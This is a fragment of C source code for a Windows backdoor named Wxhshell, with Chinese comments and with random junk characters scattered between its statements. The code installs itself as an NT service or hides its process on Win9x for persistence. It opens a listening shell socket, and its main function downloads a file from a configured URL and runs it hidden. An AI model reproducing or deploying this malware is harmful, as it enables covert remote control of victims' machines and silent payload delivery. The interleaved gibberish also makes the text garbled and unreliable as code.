]4ydp char procName[255]; 9~7s*3zI unsigned long cbNeeded; 0|i3#G_~ )~X.x"}8k if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jw 4B^2} WilKC|R]P CloseHandle(hProcess); Zk:Kux[7 OrC}WMhd if(strstr(procName,"services")) return 1; // 以服务启动 mJU1n
4Tdp;n\F return 0; // 注册表启动 Mg"e$m } ,1K`w:uhS _O,k0O
// 主模块 <%Al(Lm0 int StartWxhshell(LPSTR lpCmdLine) gJ=y7yX { W1;QPdz: SOCKET wsl; Xp67l!{v BOOL val=TRUE; >TQNrS^$J int port=0; \rpXG9 struct sockaddr_in door;
;2y4^ =&K8~
if(wscfg.ws_autoins) Install(); iNCT( N~. f>CJ1;][{ port=atoi(lpCmdLine); .ZtW
y) U z7X,5[P if(port<=0) port=wscfg.ws_port; m7#v2:OD+ dZWO6k9[H WSADATA data; Q8H+=L: if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /R(]hmW #c%FpR4 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; v ^R:XdH setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f1$'av door.sin_family = AF_INET; <9 dfbI) door.sin_addr.s_addr = inet_addr("127.0.0.1"); [4 v1
N door.sin_port = htons(port); yM2}JsC x
DiGN Jc if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _LSp \{Z closesocket(wsl); 1c\KRK4 return 1; C0gY } e"(SlR c5em*qCw$ if(listen(wsl,2) == INVALID_SOCKET) { ;F;Vm$ closesocket(wsl); Fks #Y1rI return 1; ]r\FC\n6e } : Tcvj5 Wxhshell(wsl); BUs={"Pa WSACleanup(); po!bRk[4 Z mc" return 0; 3\ {?L O=5q<7PM. } LgxsO:mi Ie]k/qw+ Y // 以NT服务方式启动 207FD VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fZiwuq!_ { wnU-5r&!] DWORD status = 0; at+Nd K DWORD specificError = 0xfffffff; \0veld ]!X[[w) serviceStatus.dwServiceType = SERVICE_WIN32; Sby(?yg serviceStatus.dwCurrentState = SERVICE_START_PENDING; dK Qu serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AM0CIRX$ serviceStatus.dwWin32ExitCode = 0; TE9Iyl|= serviceStatus.dwServiceSpecificExitCode = 0; b_ vKP serviceStatus.dwCheckPoint = 0; xj[v$HP serviceStatus.dwWaitHint = 0; YSB~04 7n)ob![\d hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /!'Png0! if (hServiceStatusHandle==0) return; w `nm}4M &n'@L9v81 status = GetLastError(); Ih HKRb[ if (status!=NO_ERROR) wq7h8Z}l { V!Pe%.> serviceStatus.dwCurrentState = SERVICE_STOPPED; @u@,Edh serviceStatus.dwCheckPoint = 0; u]*f^/6Q serviceStatus.dwWaitHint = 0; l@0${&n serviceStatus.dwWin32ExitCode = status; Vq599M:)V serviceStatus.dwServiceSpecificExitCode = specificError; %i) 0sET SetServiceStatus(hServiceStatusHandle, &serviceStatus); BJgHel+N return; +bGO"* } PjP6^" 9H/C(Vo serviceStatus.dwCurrentState = SERVICE_RUNNING; GOsOFs "I serviceStatus.dwCheckPoint = 0; rI OKCL? serviceStatus.dwWaitHint = 0; 2f0mr?l)N if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =pBr_pGz= } 9tWpxrig% (l -l
Y // 处理NT服务事件,比如:启动、停止 ZPG~@lU VOID WINAPI NTServiceHandler(DWORD fdwControl) 7_R[=t { ?3%r:g4 switch(fdwControl) y>X(GF^ { Px3I+VP case SERVICE_CONTROL_STOP: <@$+uZt+ serviceStatus.dwWin32ExitCode = 0; \S_Ae; serviceStatus.dwCurrentState = SERVICE_STOPPED; = q(?ALGc serviceStatus.dwCheckPoint = 0; . H}R}^ serviceStatus.dwWaitHint = 0; 1QPz|3f@\ { Ga_Pt8L6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8,IQ6Or|-2 } ]XASim:A return; 'YJ~~o case SERVICE_CONTROL_PAUSE: CXBFR>" serviceStatus.dwCurrentState = SERVICE_PAUSED; IF cre break; xn>N/+, case SERVICE_CONTROL_CONTINUE: M.\XG}RR serviceStatus.dwCurrentState = SERVICE_RUNNING; Y!`pF break; jwg*\HO,s case SERVICE_CONTROL_INTERROGATE: 6!HYx break; nvCp-Z$ }; EiDnUL(W7h SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ng2Z7k } XmP,3KG2{S h1)ny1; // 标准应用程序主函数 - zUBK int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p"6ydXn% { IML.6<,(Z CkRilS< // 获取操作系统版本 S5:&_&R8[ OsIsNt=GetOsVer(); 8>9MeDE GetModuleFileName(NULL,ExeFile,MAX_PATH); $DaQM'- :r2d%:h%2 // 从命令行安装 RG=i74a if(strpbrk(lpCmdLine,"iI")) Install(); voFg6zoV_ kxR!hA8wv4 // 下载执行文件 v cUGBGX_& if(wscfg.ws_downexe) { =
c1>ja if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +,g!xv4Q WinExec(wscfg.ws_filenam,SW_HIDE); 4M!wm]n/%5 } uzI-1@` XgyLlp;,O if(!OsIsNt) { 4:Oq(e_( // 如果时win9x,隐藏进程并且设置为注册表启动 OrF.wcg HideProc(); jZQ{XMF StartWxhshell(lpCmdLine); nly}ly Q/ } 9f/l" else Z&4L/// if(StartFromService()) ;<*USS6X // 以服务方式启动 III:jhh StartServiceCtrlDispatcher(DispatchTable); ">M&/}4 else 3ZN\F // 普通方式启动 ]9~Il# StartWxhshell(lpCmdLine); P+y XC^ , g{
;OgS3> return 0; ,:#h;4!VRF }
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